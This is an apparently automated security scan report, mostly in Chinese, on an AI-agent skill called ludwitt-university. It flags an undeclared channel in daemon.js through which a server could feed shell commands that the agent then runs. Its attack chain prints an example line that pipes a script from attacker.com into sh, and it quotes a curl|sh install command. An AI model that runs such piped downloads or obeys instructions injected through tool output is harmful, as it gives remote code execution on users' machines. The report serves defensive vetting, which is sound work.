Skill Trust Decision

ludwitt-university

通过 updateInstructions 机制实现远程代码执行(RCE),SKILL.md 完全未声明此阴影功能,服务器可随时注入任意 shell 命令

Install decision first Source: ClawHub Scanned: Apr 12, 2026
Files 4
Artifacts 6
Violations 4
Findings 6
Most direct threat evidence
Critical RCE
updateInstructions 远程代码执行通道

daemon.js 在 checkUpdateAvailable() 函数中,当服务器返回 apiVersion 时,会输出服务器提供的 updateInstructions。若服务器返回 'curl -sSL https://opensource.ludwitt.com/install | sh' 等命令,该命令会被打印到控制台,agent 可能执行。SKILL.md 完全未声明此更新机制。

daemon.js:42

Why this conclusion was reached

3/4 dimensions flagged
Block
Declared vs actual capability

4 undeclared or violating capabilities were inferred.

Block
Hidden execution and egress

1 high-risk artifacts or egress signals were extracted.

Block
Attack chain and severe findings

The report includes 5 attack-chain steps and 4 severe findings.

Review
Dependencies and supply chain hygiene

Dependency information is incomplete, so supply-chain confidence stays limited.

Attack Chain

01
Agent 安装 skill,被描述为合法的大学课程学习平台

Entry · SKILL.md:1

02
运行 install.sh,检测 agent 框架环境变量并注册到 ludwitt.com

Escalation · install.sh:66

03
Daemon 启动后每10分钟轮询服务器状态

Escalation · daemon.js:175

04
服务器在响应中注入 updateInstructions 字段(如 'curl https://attacker.com/pwn.sh | sh')

Impact · daemon.js:42

05
恶意指令被打印到控制台,AI agent 可能将其作为系统指令执行,完成 RCE

Impact · daemon.js:42

What drove the risk score up

未声明的远程代码执行通道 +40

SKILL.md未声明updateInstructions机制,但daemon.js:42暴露了该通道

服务器控制台输出指令可被替换 +20

服务器返回updateInstructions字段可包含任意shell命令

curl|sh管道执行 +15

daemon.js:42 和多处 install.sh 中使用 curl | sh

Most important evidence

Critical RCE

updateInstructions 远程代码执行通道

daemon.js 在 checkUpdateAvailable() 函数中,当服务器返回 apiVersion 时,会输出服务器提供的 updateInstructions。若服务器返回 'curl -sSL https://opensource.ludwitt.com/install | sh' 等命令,该命令会被打印到控制台,agent 可能执行。SKILL.md 完全未声明此更新机制。

daemon.js:42
完全移除 updateInstructions 功能,或将其设为仅显示不可执行的通知
High Doc Mismatch

SKILL.md 未声明更新/远程执行能力

SKILL.md 仅描述为大学课程学习平台,完全未提及任何更新机制。但 daemon.js 存在 checkUpdateAvailable() 和 updateInstructions 逻辑,存在严重文档-行为不符

SKILL.md:1
明确声明所有网络能力和更新机制
High Persistence

安装时修改 shell 配置文件添加 PATH

install.sh 会自动修改 ~/.zshrc 或 ~/.bashrc,在 PATH 中添加 ~/.ludwitt/bin。SKILL.md 未声明此持久化行为

install.sh:170
在文档中明确声明 PATH 修改行为,或改用 profile.d
High Credential Theft

API密钥和指纹存储在明文文件

auth.json 包含 agentId、apiKey、fingerprint,chmod 600 仅保护文件权限,但数据以明文存储且持续保留在磁盘

install.sh:123
评估是否需要长期存储密钥,考虑使用密钥链或临时存储
Medium Priv Escalation

Agent框架检测覆盖多个AI平台

install.sh 检测 OPENCLAW_STATE_DIR、~/.openclaw、CURSOR_SESSION_ID、~/.cursor、CLAUDE_CODE_SESSION 等多个AI框架环境变量和目录,收集情报超出功能必要范围

install.sh:66
仅检测必要框架,移除过度收集行为
Medium Supply Chain

安装脚本来源单一且无代码签名验证

curl -sSL https://opensource.ludwitt.com/install | sh 直接从单一来源下载并执行脚本,无版本锁定、无签名验证

install.sh:2
使用 ClawHub/GitHub 克隆方式替代直接管道执行

Declared capability vs actual capability

Filesystem Block
Declared READ
Inferred WRITE
install.sh:170-180 创建系统服务文件
Shell Block
Declared NONE
Inferred WRITE
daemon.js:42 updateInstructions机制可注入任意命令
Environment Block
Declared NONE
Inferred READ
install.sh:66-79 遍历检测多个AI框架环境变量
Network Block
Declared READ
Inferred WRITE
install.sh:89-100 POST注册数据到外部API

Suspicious artifacts and egress

Critical Dangerous Command
curl -sSL https://opensource.ludwitt.com/install | sh

daemon.js:42

Medium External URL
https://your-deployed-app.vercel.app

README.md:181

Medium External URL
https://www.youtube.com/watch?v=...

README.md:183

Medium External URL
https://opensource.ludwitt.com

README.md:237

Medium External URL
https://opensource.ludwitt.com/install

daemon.js:42

Medium External URL
http://www.apple.com/DTDs/PropertyList-1.0.dtd

install.sh:216

Dependencies and supply chain

There are no structured dependency warnings.

File composition

4 files · 1577 lines
JavaScript 1 files · 728 linesMarkdown 2 files · 526 linesShell 1 files · 323 lines
Files of concern · 4
daemon.js JavaScript · 728 lines
updateInstructions 远程代码执行通道 · curl -sSL https://opensource.ludwitt.com/install | sh · https://opensource.ludwitt.com/install
install.sh Shell · 323 lines
安装时修改 shell 配置文件添加 PATH · API密钥和指纹存储在明文文件 · Agent框架检测覆盖多个AI平台 · 安装脚本来源单一且无代码签名验证 · http://www.apple.com/DTDs/PropertyList-1.0.dtd
README.md Markdown · 263 lines
https://your-deployed-app.vercel.app · https://www.youtube.com/watch?v=... · https://opensource.ludwitt.com
SKILL.md Markdown · 263 lines
SKILL.md 未声明更新/远程执行能力

Security positives

代码结构清晰,有完整的错误处理和重试机制
敏感文件 auth.json 设置了 600 权限
CLI 参数解析逻辑完整
支持多种服务管理器(launchd/systemd)的持久化